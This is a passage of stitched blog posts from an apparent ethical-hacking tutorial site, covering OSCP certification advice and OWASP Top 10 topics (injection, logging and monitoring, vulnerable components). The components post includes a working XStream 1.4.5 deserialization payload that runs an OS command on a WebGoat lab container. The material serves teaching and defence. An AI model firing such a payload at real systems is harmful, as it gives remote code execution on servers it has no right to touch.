OSCP Certification: All you need to know

Hello ethical hackers! In this episode, you will learn everything related to OSCP certification. What is OSCP? Why is it a strong certification? What sets it apart? What are the requirements? How to properly prepare for the exam? What to do the day of the exam? And what’s next once you earn your OSCP certification?

OSCP Certification introduction

OSCP stands for Offensive Security Certified Professional, it is Offensive Security‘s most famous certification. Everyone in the industry respects it, and for good reason. In fact, it proves that its holder can perform a penetration testing assignment using a methodical approach and can write a professional pentest report to deliver to the client. Moreover, it demonstrates that its holder can work under pressure and think outside the box when conducting penetration testing. By the way, the motto of OSCP is Try Harder!

OSCP Syllabus, course material, the lab and more

This certification has a syllabus that covers key aspects of penetration testing, it comes with the PWK course, a lab for training and a video package to support the course.

OSCP Syllabus

OSCP covers many penetration testing areas, from information gathering to exploitation. You get to apply your knowledge on various Linux distributions and Windows versions. These machines run a plethora of services. But perhaps the most important aspects I really enjoyed learning was SSH tunnels, privilege escalation and buffer overflows.

With the new 2020 update, this certification offers even more value, especially with the introduction of Active Directory hacking and Empire, which are essential in most real-world infrastructure penetration testing.

PWK course and videos

You won’t pay for the certification voucher only, the price covers the PWK course, which is a PDF file that goes from the basics to the advanced hacking techniques throughout the different chapters. You will learn some Linux commands to work in the terminal, most of the basic web application vulnerabilities, basics of buffer overflow, Active Directory hacking, SSH tunnelling, etc. Each chapter or section comes with a set of exercises that help you apply your knowledge. Besides, if you join the solutions to your final report, you will get 5 extra points.

To support the course PDF, you will get a set of videos that go through the whole concepts in the PDF and demonstrate the concept in practice.

The OSCP lab, price and why I chose it

When I wanted to get certified, I had many certification options. However, I chose OSCP because it provides many key points I was looking for:

  1. It has a hacking lab to practice the course material: I love learning through practice and the lab in the OSCP course is amazing. You will have to breach the perimeter, then work your way through until you own the entire infrastructure.
  2. The exam involves performing actual penetration testing on a new lab and write the report: I wanted to get a great value for the price I am paying and the OSCP exam is also practical, which means that I will apply what I have learned in yet another lab.
  3. With the previous points, the price is reasonable compared to other certifications.
  4. It is respected in the security community: This is reflected in both job offers and the salary. Almost all security offers from junior to senior level include OSCP among the other security certifications. This means that you don’t get a piece of certifying paper, but you actually increase your value in the job market.

Alright, now that you have a general view of what the OSCP is, let’s see what do you need to get it.

OSCP requirements before you apply for it

Although you don’t need prior hacking knowledge to go through this certification, I highly recommend you get comfortable at lease with the basics. OSCP is not for the faint of heart. If you under-estimate it, I doubt you will stand for long.

These are the things I recommend you learn:

Get yourself comfortable working with the terminal

You will spend most of your time on the lab working on remote machines which are only accessible through SSH. Even the Windows machines won’t be exploitable unless you use the command prompt to run your exploitation scripts. Therefore, it is essential to learn at least the basic Linux terminal commands that will help you navigate through the filesystem, install software, copy files around and connect to remote servers.

Learn the basics of web

There is a considerable amount of web applications in the lab, so I advise you to learn how they work. Take your time to understand how the HTTP Protocol works, what is the difference between the client and the server, etc. This will ease your way through the course as you will already have a general view of what they are talking about.

Learn and practice basic hacking techniques

Although the OSCP course teaches you the hacking techniques and concepts from the beginning, I recommend you learn them beforehand. That way, you can quickly go through them and focus on more advanced concepts like exploit development, SSH tunnelling and looting all the machines in the lab. There are many hacking websites which will help you achieve that. They offer great challenges that you can play with, solve and learn along the way. Feel free to read the dedicated article about it.

Practice your skills on boot2root machines

Once you feel comfortable with the hacking challenges, I encourage you to take more time to root some machines. This will allow you to adapt to the kind of hacking activity that you would find during the OSCP lab and the exam. The article I mentioned earlier contains a list of the websites where you can achieve that.

Code something with Python

Many exploits are available in python, and sometimes you will have to modify them to work for your situation. Therefore, knowing Python will help you take full advantage of the labs and speed up your hacking process. Besides, since Metasploit is forbidden in the exam apart from one shot, you have to convert one or two modules to your own Python scripts as a means of practice during your exam preparation.

Understand basic C code

The OSCP course contains a full chapter on Buffer Overflows. Although the concepts are basic, you will still have a hard time understanding and building your exploits if you don’t know anything about the C language. Besides, some machines require you to customize some C code in order to successfully exploit the vulnerability.

The process of applying for OSCP

Do you already have what it takes? Good! You can apply for it online and receive your package. You have three options, either 1, 2 or 3 months of lab access. I recommend you take the 3-month package so that you give yourself enough room for practice.

Expect to present a proof of identity and to use a corporate email. If you don’t have the latter, you can contact the support and tell them that you have no corporate email.

Once the payment is processed, you will get your package containing the course PDF, videos and the VPN access for the lab.

OSCP preparation for the exam

Preparation for the exam starts right when you receive your course material. See, there are some key points I want you to know from the beginning.

Do the course exercises and document them as you go

You will feel lazy solving the exercises and documenting them as you go through the course, but it’s a crucial thing to do. See, documenting your progress and taking notes is a soft skill that you should have if you want to develop quickly. It has two benefits, the first one is that you will secure your extra 5 points in case you need them to pass the exam. Secondly, you will develop the habit of taking notes, which will help you during the exam. Which brings us to the second advice.

Take organized notes

You don’t want to redo all the exploit research, rebuild all your exploits or start Googling how to transfer files between machines during the exam. Everything should be noted beforehand. Your exploits should already be built and organized. Your payloads should be well structured. This will save you tremendous time during the exam.

Take your time to root all the machines in the lab

I recommended you to apply for 3 months of lab access so that you give yourself enough time to grasp, practice and hone your hacking skills on the lab. A friend of mine had a full-time job, a family and purchased one month. Although he was really smart and had already the skills, he simply couldn’t keep up with so many duties on his plates.

OSCP exam

Once you root all the lab machines, I think you will be ready for the exam. It’s not a requirement, but I highly recommend you do it first.

As you might have already known, the OSCP exam is 24 hours long and you have to score at least 65 points to pass. I say 65 because you can send the exercises solution along with the exam report and get 5 extra points, which would complete your minimum 70 points to pass the OSCP exam. You won’t have to pivot between the machines though, each one is separate.

Here is a list of tips that will help you the day of the exam:

Revise your notes

You should have all your notes at your hand. That’s when your prior preparation and documentation will pay off. The notes should contain your code snippets for various tasks such as connecting to different services, transferring files using different methods, bind and reverse shells, your exploits already built and grouped by target OS, etc.

Don’t upgrade your Kali machine

Just work with the version you had throughout the course. Upgrading your machine can introduce surprises that will force you to waste your time troubleshooting instead of solving the exam challenges.

Take regular breaks

You can’t stay productive the entire exam without food and good hydration. So, reserve some time for breaks, it will make you feel better, refreshed. Sometimes, all you need is another perspective, which you can’t get when you are stuck in front of the computer. You just have to notify the proctor, as explained in the official FAQ section.

Start with the Buffer Overflow challenge

One of the machines contains a buffer overflow vulnerability that you will be able to solve without problems if you had solved the one in the course. I recommend you start with it first. This will boost your confidence to tackle the remaining ones.

Beyond OSCP

Hopefully, you are now certified OSCP, congratulations! You have proved that you “tried harder” and you now have the skills required to conduct penetration testing in the real world. However, this is not the end of your journey and you are certainly not an expert. OSCP is a great beginning for a bright future in penetration testing, so don’t waste it! Think about niche areas you want to focus on. For example, you may want to learn more about exploit development, web hacking or Active Directory attacks. Learn the subject and pursue some certification in the field.

OSCP Certification: Congratulations!
OSCP Certification: Congratulations!

Other questions you may ask

OSCP vs CEH: Which is the best?

For me, the short answer is OSCP. The long answer is…it depends! See, CEH is great if you are barely starting in the infosec industry and you still want to quickly get a job even if you don’t have enough practice. In fact, it is recognized by most companies and most of the candidates would have it. So it makes sense to apply for it when you are just starting.

However, I don’t think we should compare it to OSCP. In fact, the exam is a 4 hour Multiple Choice Questions. If you want to become a CEH Master, then you have to pass the 6-hour exam which contains 20 mini-challenges. So, both challenges combined are less than 50% of the 24-hour exam challenge on the OSCP. Besides, OSCP wins at the price as well. In fact, with three months of lab access, the total price is 1349USD, compared to 1898USD for the CEH (The Multiple Choice Questions and the Practical exams, plus registration fees). In my opinion, if budget is a concern for you, you may want to apply for CompTIA PenTest+ instead.

Is a certified OSCP salary higher than CEH?

According to payscale.com, the average OSCP salary is 91,538USD, compared to 82,164USD for CEH at the time of writing this article.

Conclusion

Certifications are a good way to prove that you possess a set of skills, and OSCP is a great one for penetration testers. However, getting certified shouldn’t be the goal. In my opinion, the focus should be on acquiring and applying your hacking skills. That’s what counts!

I hope you found this content helpful and wish you good luck in your OSCP journey. I encourage you to subscribe to the newsletter and receive an article every Friday to end your week on a hacking content. If you are new to hacking and want to learn the basics, read the OWASP Top 10 theory and hands-on article on thehackerish.com and apply your knowledge on the lab which supports them. If you enjoy learning with videos, I invite you to watch the OWASP Top 10 Youtube playlist.

OWASP Top 10 vulnerabilities: Injection explained

Hello and welcome to this OWASP Top 10 vulnerabilities course. Today’s blog post is about Injection. 

By the end of this post, you will have understood the following points:

  • What is OWASP Top 10 Injection? 
  • Why Injection is on the top of the OWASP Top 10 vulnerabilities?
  • What is the difference between error and blind-based injection? 
  • OWASP Top 10 Injection flaws.
  • How to exploit Injection?
  • Some real-world Injection attacks
  • OWASP Top 10 Injection prevention 

What is Injection and why it ranks top of OWASP Top 10 vulnerabilities?

Injection sits comfortably on the top of the OWASP TOP 10 vulnerabilities for the last decade. This is for a good reason. In fact, injection is a broad class of vulnerabilities that you can find on pretty much any target. Let’s take the definition of the OWASP Top 10 for injection and analyze it:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or a query. The attacker’s hostile data can trick the interpreter into performing unintended actions.

I highlighted the key ideas in italic. The first thing to notice is that injection is not specific to a technology. In fact, any feature which expects and processes input is potentially vulnerable to injection. 

The second thing to point out is how large the attack surface is. Tell me how many features you encountered which fall under this very scenario! I’d say most of them. In fact, even a simple search feature on a website takes your input, uses it as part of a command, queries a data store and returns the results to you.

Continuing on the example above, a malicious user can inject a malicious input, called the payload, to perform unintended results by the vulnerable system. If successful, the malicious user can trick the application into returning sensitive information, modify data or delete it altogether.

Error based injection vs blind Injection vulnerabilities

When hunting for Injection vulnerabilities, you will typically encounter two use cases. On the one hand, the application can return error messages which your payload triggered. In this case, you can follow the application errors for what to do next. For example, you can inject a malformed SQL query as simple as a quote and you get the following error:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id=''' at line 1". 

This tells you a lot! First, you have successfully found a SQL injection. Second, the database engine is MySQL. Third, the application tells you the exact vulnerable part of the SQL query. Lastly, you’ve got a solid bug to report if you are a bug bounty hunter.

On the other hand, you don’t have direct and naive feedback from the application, but rather a hint, or nothing at all! In this case, we call it a blind injection. It requires more effort, but it’s still possible to exploit it as you can see in the OWASP Top 10 training injection blog post.

Now that you have a general understanding, let’s dive into some instances of OWASP Top 10 Injection flaws.

OWASP Top 10 Injection flaws

There are many subsets of the OWASP Top 10 Injection vulnerability class. Below you find most of them. The list is growing, so make sure to subscribe to the newsletter below so that you get a notification each Friday about new content.

SQL injection

SQL injection is a flaw in the way user data is being handled inside a SQL query. Basically, a developer concatenates the expected input directly into the SQL query. SQL injection is one of the most impactful vulnerabilities that exist, it can affect the confidentiality, integrity and availability. To learn more about SQL injection, feel free to read this in-depth SQL injection tutorial.

OS Command injection

OS command injection is a flaw in the way user data is being handled inside an operating system command. Basically, a developer insecurely puts the expected input directly into the OS command. OS injection is one of the deadliest vulnerabilities that exist in the realm of security vulnerabilities. It allows an attacker to have a remote shell on your vulnerable server. As of its impact, it can affect the confidentiality, integrity and availability. If you want to see a real example, read my write-up about how I found and exploited one.

LDAP injection

This injection is a flaw in the way user input is being handled inside an LDAP query. LDAP stands for Lightweight Directory Access Protocol. It is an client-server open industry standard which can be used to access and maintain directory information services. For example, it can be used to authenticate a user, search items, modify entries, etc. Therefore, this type of injection impacts the confidentiality, integrity and availability. You will learn more about LDAP injection in the upcoming blog posts.

OWASP Top 10 Injection attacks

The following are real-world breaches which exploited one of the injections discussed above.

SQL injection in Magento, patch published on March 2019

On its release, Magento urges its users to upgrade to the latest version of Magento. One of the severe vulnerabilities patched was a SQL injection.

CVE-2018-1111 – DHCP Client Script Code Execution Vulnerability

On its advisory on May 2018, RedHat announced that Red Hat Enterprise Linux 6 and 7 are vulnerable to a command injection flaw found in a script included in the DHCP client.

SQL injection against TalkTalk

The breach that affected TalkTalk exploited a SQL injection. Over 4 Million customers were at risk. More than 150K customers’ data was compromised and the company was fined 400K pounds.

OWASP Top ten Injection prevention

Since Injection flaws reside in the way user inputs are handled, a developer should never trust any input. If you do, you’re exposing your asset to security risks which can be damaging. For each of the OWASP Top 10 Injection vulnerabilities discussed earlier, there is a section on how to prevent them. But in general, this OWASP Cheat Sheet covers the guidelines you need to follow when writing your code. The main ideas are as follows.

  • Perform proper input validation: You should sanitize and normalize your input.
  • Use a safe API: For example, using an ORM is far better and secure than building SQL queries yourself.
  • Properly escape your input: If you don’t have an API available, make sure to escape special characters according to the interpreter that will handle your command or query.

That’s it for today, in the next episodes of this OWASP Top 10 vulnerabilities tutorial, we will discuss OWASP Top 10 broken authentication. Stay tuned!

OWASP Top 10: The Ultimate Guide

If you are here, chances are that you want to learn web application security or the OWASP Top 10, but you don’t know where to start. Well, let me tell you that you came to the right place.

I’m a penetration tester who enjoys breaking into my clients’ infrastructure and web applications. Besides, I train developers on how to write secure code. Part of the training involves showing them what hackers can do and how to prevent them from exploiting security vulnerabilities.

I am bringing this knowledge to you so that you can benefit from it as well. In this exhaustive guide, you will not just learn the OWASP Top 10, but you will also practice them on hands-on examples from the best vulnerable web applications. On top of that, I’ve prepared online video tutorials which will help you follow the hacking process step by step. Once you’ve covered the OWASP Top 10, I will show you where to go next in your hacking journey.
Let’s start learning right now!

What is OWASP Top 10?

The OWASP Top 10 is a standard document which consists of the top ten of the most impactful web application security risks in the world. The Open Web Application Security Project foundation (OWASP) publishes a version every three years. 

OWASP collects data from companies which specialize in application security. It also collects data from individuals using industry surveys. All of the results get ranked based on impact and prevalence. At last, the top ten risks are then filtered.

OWASP Top ten doesn’t cover all the vulnerabilities, but it’s a solid start for security testers, developers and organizations who want to exploit vulnerabilities and implement measures to protect against the security risks.

Why is the OWASP Top 10 important when learning web application security?

You might ask why I chose OWASP Top 10 as a backbone for this guide. Great question! Well, there are two reasons for that.

Firstly, OWASP is a respected community of tens of thousands of members ranging from information security experts to security-focused developers. It has existed for almost two decades and has produced methodologies, documents and tools which help building secure code. For example, OWASP Zed Attack Proxy (ZAP) is a tool which we will use during this training to test for security vulnerabilities. OWASP also organizes events with high-quality subjects and speakers. For you, this means that you are in good hands, and you will be learning from mature and professional resources.

Secondly, the OWASP Top 10 covers all the basics you will need to kickstart your career in application security. In fact, each one of the top 10 security risks includes one or many security vulnerabilities. For example, the Injection security risk covers all sorts of security vulnerabilities which can lead to injections.

To summarize, let me say that the OWASP Top 10 is solid and efficient if you want to quickly and efficiently learn web application security. Convinced? Let’s see what is the best way to learn that thing!

What is the best way to learn OWASP Top 10?

You might be wondering: I want to start right away, but what is the best way to learn OWASP Top 10? The answer is simply one word: Practice!

Hacking is practical by nature. Surely, you need the theory behind how each security vulnerability works, which I cover in this guide. However, you can’t say that you’ve learned them until you can exploit them, practically! That’s why for most vulnerabilities we will discuss shortly, I’ve prepared a training tutorial which will help you get your hands dirty with different challenges.

OWASP Top 10 training syllabus

The OWASP Top ten training I’ve included in this guide contains two web applications which cover the OWASP Top 10 security risks. You can download the lab right here. Alternatively, I walk you through how to set it up if you want to build it yourself.

Kickstart your web hacking journey with this OWASP Top 10 lab.
Kickstart your web hacking journey with this OWASP Top 10 lab.

The web applications are OWASP Juice Shop and OWASP WebGoat. They are both mature and well-maintained projects. They are also written in different languages, which will expose you to hacking different technologies.

During this OWASP Top ten training, we will set up and configure the best web proxies that the hackers use to test for security vulnerabilities: OWASP ZAP and Burp Suite.

I’ve also recorded a Youtube playlist as a complement to the blog posts for you to see how I solve the hands-on challenges. So, you literally have all you need to build a solid knowledge of web application hacking.

Now that you know what you will expect from this OWASP Top 10 guide, let’s get into the meat and potatoes! Let’s learn those risks and practice on hands-on challenges! 

OWASP Top 10 vulnerabilities explained

This section provides you with the OWASP Top 10 summary of all the security risks. For each one of them, there are links to dedicated posts which detail the theory and help you practice on hands-on challenges.

I recommend you bookmark this page and learn each vulnerability at a time. Once you finish it to the end, you will have a solid understanding and will be ready to test the OWASP Top 10 vulnerabilities on your own. You can even look for what you’ve learned on bug bounty platforms and get paid!

Injection

An injection is a security risk that you can find on pretty much any target. Basically, it happens when a server-side interpreter processes untrusted user input as part of a command or a query. There are many vulnerabilities which cause injection. Here are some examples:

  • SQL injection: You can find a SQL injection when the developer runs a SQL query that takes a parameter you control as an input. If you successfully exploit it, you steal data from the database, edit it or delete it altogether. 
  • OS command injection: It happens when user input is used as part of an insecure call to operating system commands. If you find one, you can run arbitrary operating system commands on the vulnerable server.
  • XPATH injection: It targets the query language typically used in XML. When you can control part of the query. Therefore, you can bypass restrictions, read unauthorized XML nodes, etc. 
  • Server-Side Template Injection: This flaw affects applications which use template engines to render server-side data. If you can control variables passed into the template, you can achieve remote code execution. 
  • LDAP Injection: When your target insecurely uses some user input to query an LDAP directory, you can perform an injection to bypass restrictions, read unauthorized data, etc.

Broken authentication and session management

Authentication is a feature which verifies an identity’s claims. For example, when you login into an application, it uses your username and password to verify that you are indeed who you are claiming to be. Upon authentication, and due to the stateless nature of HTTP, the application provides you with a session representing your identity, which your web browser sends on your subsequent requests.

Of course, you need to be able to sign up, log in, reset your password or enable Multi-Factor authentication. That’s why authentication is hard to implement without making any mistakes. Any flaw in one of those features can lead to broken authentication. We cover this in detail in a dedicated blog post.

Sensitive data exposure

If your IT assets disclose data which is not meant to be publicly accessible, they suffer from sensitive data exposure. On the one hand, this data can be at rest, like your databases or files. On the other hand, it can be in transit, especially if you are using unencrypted or weak encryption for your data transmission.

Apart from exposing your customers’ data which is a scandal, you will also get fines for exposing them. Think of the GDPR regulation where fines can go up to 20 Million Euros.

XML-External Entity (XXE)

XXE is a flaw in the way XML parsers get configured. Specifically, this vulnerability happens when the XML parser can evaluate DTDs and external entities. It allows an attacker to achieve many exploits, like listing directories and reading files from the server. It can even provoke a Denial of Service.

Broken access control

Broken access control happens when the application allows a user to perform unauthorized actions. There are many vulnerabilities which contribute to this risk, For instance, if the developer forgets to validate permissions when dealing with identifiers, the application becomes vulnerable to Insecure Direct Object Reference (IDOR).

Other vulnerabilities include Cross-site Request Forgery (CSRF), Cross-Origin Resource Sharing (CORS) misconfigurations and forced browsing. Read more about them in the dedicated blog post.

Security misconfiguration

Security misconfigurations, as the name suggests, expose vulnerabilities due to weak configurations of an IT asset. It doesn’t affect web assets only. Any component which requires a configuration is subject to this vulnerability. This means that network devices, hardware, email services, etc. can suffer from this vulnerability. For instance, your smart door lock can have a predefined default administration PIN code. If you don’t change it, anyone can access and change your device configuration.

In the context of web applications, you can find things like directory listing enabled, which would allow you to list all files and directories. Or maybe the developer forgot to disable the debug mode, allowing you to get more insights on the inner-workings of the vulnerable application.

Cross-site Scripting (XSS)

This is one of the famous client-side vulnerabilities. It allows an attacker to run arbitrary Javascript code on the victim’s web browser. XSS becomes possible when user input ends up inside an HTML page or a piece of Javascript code without proper encoding.

There are basically three types of XSS, all of them along with hands-on tutorials are explained further:

  • Stored XSS happens when the user input gets stored in the application’s datastore, then retrieved back and rendered in a page without proper encoding. 
  • Reflected XSS happens when user input gets directly returned into the HTML page without proper encoding.
  • DOM XSS happens when user input gets inside a Javascript code. Here, it is possible to exploit XSS even if there is no request made to the server.

Insecure deserialization

Insecure deserialization happens when the developer doesn’t check serialized data that a user sends to the application. This is another vulnerability where a lack of user input validation can lead to serious security problems. It is hard to exploit, but when it works, it can lead to either remote code execution or denial of service.

Using components with known vulnerabilities

You might have totally secured your own code, but what about the dependencies you are using? Have you checked them or just imported them into your code? There is a high chance that one or more of them are vulnerable. 

Unfortunately, using components with known vulnerabilities had led to many serious breaches in the past, and will still cause many breaches to come. But you already have the tools to check for them. For more in-depth knowledge of that, head to this dedicated article.

Insufficient logging and monitoring

When a hacker infiltrates a network, IT systems will generate traffic which usually doesn’t correspond to the normal one, unless you are dealing with highly skilled hackers who have time and money to go after your IT infrastructure. If you can’t detect this abnormal behaviour as soon as possible, you are essentially giving them enough time to achieve their goal. Read more about this in this blog post.

Logging and monitoring should be part of your essential security infrastructure because you simply cannot defend what you don’t know.

Beyond the OWASP Top 10

If you have reached this far, let me congratulate you for taking real steps towards your goal! I really mean it because not everyone is willing to put the effort as you did! I hope you’ve enjoyed the journey as much as I did preparing this OWASP Top 10 training.

If you want to take your skills steps further, here are some leads you can follow.

Read infosec books

Reading information security books is rewarding because you will be learning from experts in the field. I recommend the Web Application Hacker Handbook edition 2. It’s a huge book, but it gives you so many details on different security vulnerabilities and explains how to detect and exploit each one of them.

Learn other OWASP top ten projects

OWASP publishes new documents are covering new topics. For instance, the OWASP API security project covers security risks related to APIs. Also, you have the OWASP Top 10 Mobile security risks which covers security risks in mobile applications.

Learn infrastructure penetration testing

Testing web applications for security vulnerabilities is good, but what if you want to test the security of a client’s infrastructure. In this case, you have to expand your knowledge and skills further. You can learn about networking, Active Directory and other services. Then, learn how to perform enumeration, scanning, exploitation, privilege escalation and persistence. There are many courses which cover that, I recommend the Offensive Security PWK course.

Practice on hacking platforms and CTFs

When I started my journey in ethical hacking, I’ve learned so much from hacking platforms like root-me and VulnHub. There are many new emerging platforms, which means that the market is expanding and the demand for security testing skills is growing. Some platforms like hackthebox also give you exposure to hiring companies. So it’s a great opportunity for you to learn, practice, have fun and get a job in information security, all at the same time!

Earn money while hacking ethically

If you want to monetize your knowledge, you can get paid when finding security vulnerabilities with the rise of bug bounty hunting platforms like Hackerone, Bugcrowd, YesWeHack, Intigriti among many others. I personally hack on Hackerone.

I hope this OWASP Top 10 guide has opened your eyes to see how wonderful the industry of information security is! You now have a solid foundation of web application security.

You are now ready to tackle new challenges in your information security career. Good luck!

Insufficient logging and monitoring for beginners

insufficient logging and monitoring

Hello and welcome to this last episode of the OWASP Top 10 series. Today’s subject is about Insufficient logging and monitoring.

The world of information security is an ever-changing landscape. Every day, new vulnerabilities emerge and new exploits get published. However, this is just the tip of the iceberg. In fact, there are so many unknown vulnerabilities which are currently exploited by cybercriminals. Therefore, you can’t be sure that your systems are totally immune even when applying the latest patches and updates.

You need to have a way to detect when and how your assets are being compromised. This is where having efficient logging and monitoring measures comes into play. They are like the immune system of your body so to speak.

What is Insufficient logging and monitoring?

Let’s first understand what is logging and monitoring before discussing how they help in security.

What is logging?

Logging is the process of keeping track of system activities and their interactions. It’s a critical piece of your infrastructure. In fact, it allows you to record when events occur, who initiates them, from where, and what actions have been performed. This had two advantages:

  • Firstly, you are building a database which you will use to define metrics and alerts based on specific events, like the number of login attempts. 
  • Secondly, you can use the logged data for any further investigations should any security incident happen.

What is monitoring?

Monitoring consists of constantly observing the logs of a system and searching for anomalies. There are many approaches to monitoring. From defining manual thresholds and metrics to leveraging Artificial Intelligence algorithms. The goal is to spot any malfunctions or deviations from your normal system’s activity.

The lack of proper logging and monitoring in your systems is a bad practice. In fact, when attackers infiltrate a target, they usually generate logs which don’t correspond to your normal system activity. If you can’t monitor and detect such deviations, you are creating a blind spot for attackers to take advantage of.

Insufficient logging and monitoring attack

There are many insufficient logging and monitoring example breaches. One of the big recent incidents affected the giant firm Citrix. In fact, attackers found a weak password as a result of a password spraying attack. Unfortunately, they haven’t been aware until notified by the FBI about a breach which led to 6TB of stolen data.

Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.
Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.

Insufficient logging and monitoring impact

As you saw in the attack examples section above, insufficient logging and monitoring give enough room for cybercriminals to cause the biggest damage possible. In other words, they can breach your perimeter, pivot inside your networks, steal data, persist their existence, spy on you and get away with it. The worst part is that you will probably never detect the attack. Think of this as your systems suffering from HIV, any threat can be deadly.

How to prevent Insufficient logging and monitoring?

There are many things you need to implement for efficient logging and monitoring:

  • Invest in a logging and monitoring solution.
  • Define security metrics which trigger an alert if a certain threshold is met. For instance, if you receive too many login requests from a user, your monitoring system should raise an alert.
  • Make sure you dedicate enough human resources to handle the reported alerts. Otherwise, you will not benefit from your investment.
  • Test your logging and monitoring systems during a penetration testing to verify if you can detect and understand what the penetration testers are doing.
  • Keep testing and enhancing your alerts and incident handling processes. 
  • If you choose to implement your own logging and monitoring features, make sure you don’t introduce security vulnerabilities.

You can read more on OWASP Insufficient logging and monitoring cheat sheet and proactive controls.

As usual, here is the video tutorial:

Using components with known vulnerabilities

Hello dear readers and welcome to this new OWASP Top 10 episode. Today, you will learn why using components with known vulnerabilities is bad, how to exploit it and how to mitigate it.

So far, we’ve seen how you can write secure code which doesn’t expose security vulnerabilities. However, you might write 100% secure code and still be vulnerable. How is that possible? Well, through the usage of vulnerable components. In this episode, we will address just that!

This is the plan for this episode:

  • We will explore how developers might unintentionally be using components with known vulnerabilities.
  • From there, we will explore how to detect and exploit vulnerable components?
  • Then, we will practice on examples in OWASP WebGoat and Juice Shop
  • Also, we will discover some real-world attacks leveraging insecure components.
  • How this vulnerability might affect security?
  • Finally, we will explore how you can mitigate this issue and some tools to help you along the way.

How are you unintentionally using components with known vulnerabilities?

Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components!

This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury.

Let’s first understand how attackers find and exploit vulnerable components.

How to detect and exploit vulnerable components?

When you hunt for assets which use components with known vulnerabilities, the first step is to fingerprint the technologies.

Step 1: Fingerprint technologies

During this step, you should gather the names and versions of the technologies which the application uses. You can use many techniques.

Checking known HTML elements

Usually, the HTTP traffic contains hints like names of Cookies, HTTP headers, title values and links, etc. However, you might not recognize most of them. Therefore, you can use tools to assist you. For example, the Wappalyzer browser extension fingerprints the technologies based on elements of the HTML page and HTTP headers.

Triggering errors

Sometimes, you can trigger verbose errors which give you a hint on the technologies being used. This is where fuzzing is handy. For example, you can remove expected parameters, send unexpected values, etc. If you receive an error, it usually contains some hints about the stack.

Forced browsing

You can directly access known directories using some publicly available dictionaries to look for typical login portals, README files, etc. which might contain the name and the version of the components. Better yet, if you find files like package.json or bower.json, you will have access to the list of all libraries and versions. You can see this is the video tutorial at the end of this blog post.

Source code

If you have access to the source code, don’t hesitate to collect the dependencies. You will have full visibility of the components being used.

Step 2: Find public vulnerabilities and exploit the weak components

If you are lucky, you might find CVEs with public exploits on multiple online resources, such as Exploit DB for public exploits, Snyk for open source libraries and CVE databases for vulnerabilities. From there, you can either directly use the public exploits or try to exploit the CVE you found in the CVEs database.

Never blindly execute public exploits without first understanding what they do! Sometimes, they contain malicious code which will exploit your machine.

Practice examples of using components with known vulnerabilities

In this section, we will see how both vulnerable and malicious libraries can affect the security of your own code.

Outdated or vulnerable dependencies

The most obvious case of reusing insecure components is when they suffer from security vulnerabilities. For instance, OWASP WebGoat uses a vulnerable version of the Xstream library to transform an XML document into a Java object. In the pom.xml file, notice that the library’s version 1.4.5.

OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5
OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5

Looking for public exploits on the internet reveals that this version suffers from a severe deserialization vulnerability, which leads to remote code execution.

Sending the following code will create the file /tmp/here on the docker container.

<sorted-set>
<string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>
        <command>
          <string>touch</string><string>/tmp/here</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

You can see this in action on the video tutorial linked at the end of this blog post.

Malicious components and Typosquatting

Sometimes, developers might reuse a rogue component which resembles the legitimate one. This is known as Typosquatting. It is a scary thing! Especially when the malicious library is widely used by other projects. For instance, this GitHub issue reports how the attacker has been exfiltrating SSH keys and internal files using a rogue module which he had named python3-dateutil. This name was not randomly chosen. In fact, the legitimate module name is python-dateutil. Unfortunately, a few hundred developers fell for it. 

Using components with known vulnerabilities : Malicious Python package  python3-dateutil exfiltrates internal files
Using components with known vulnerabilities : Malicious Python package python3-dateutil exfiltrates internal files

On OWASP Juice Shop, I am demonstrating a typosquatting issue on the video tutorial linked at the end of this blog post.

Real-world attack examples of using components with known vulnerabilities

In this section, we will explore some real-world attacks which leveraged vulnerable components.

The most famous attack in the real-world

Probably, the most famous manifestation of this issue would be the Equifax breach. In fact, the entry point was a vulnerable version of Struts, CVE-2017-5638, to gain remote code execution and pivot inside the Equifax network and steal more than 140M customers’ personal information.

Bug bounty hunting reports

In this write-up, the hacker demonstrates how he was able to develop exploits against a vulnerable WordPress plugin when no public exploits were available. He exploited a SQL injection, a CSRF and an XSS vulnerability. This is a demonstration of how you can use a CVE to write your own exploit.

You also have this report which demonstrates how the hacker was able to exploit an XSS vulnerability due to a vulnerable version of the Tinymce library. As a side note for bug bounty hunters, note how a valid proof-of-concept can greatly impact the quality and the reward of the report.

Impact of using components with known vulnerabilities

Generally, this issue can lead to severe breaches. On the one hand, your code will be vulnerable to whatever the component is vulnerable to. On the other hand, rogue libraries will definitely affect you since they purposely leverage your code to steal your sensitive data.

How to prevent using components with known vulnerabilities?

To prevent this issue, the ideal solution would be to never trust third-party components unless you are sure of their safety. Unfortunately, this is easier said than done. In fact, it is not realistic to manually verify all the libraries you are using in your code.

In this article, Snyk explains how a library was stealing bitcoins. I recommend you read it, but here are the takeaways:

  • The widely used event-stream package contained a malicious package named flatmap-stream.
  • The event-stream package was not actively maintained: This is a criterion you should take into consideration. You should prefer components with a healthy community.
  • Mitigating the risk would simply involve removing the rogue library. However, this is not scalable due to the considerable number of components you are using. Therefore, you should constantly and automatically monitor your dependencies. Snyk provides this feature. But in general, you must have a dependency checking process for all your projects. For example, OWASP provides this dependency checker for Java projects.

Additionally, you should implement the following:

  • Have a patch management process which helps you detect and patch vulnerable components using public CVE databases.
  • Additionally, you should apply some behavioural analysis to spot any unusual activity. For instance, you should inspect any server initiating requests to external servers. You can use tools such as Rita for this purpose.

As usual, here is your video tutorial

Insecure Deserialization explained with examples

insecure deserialization

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn Insecure Deserialization vulnerability. The plan is as follows:

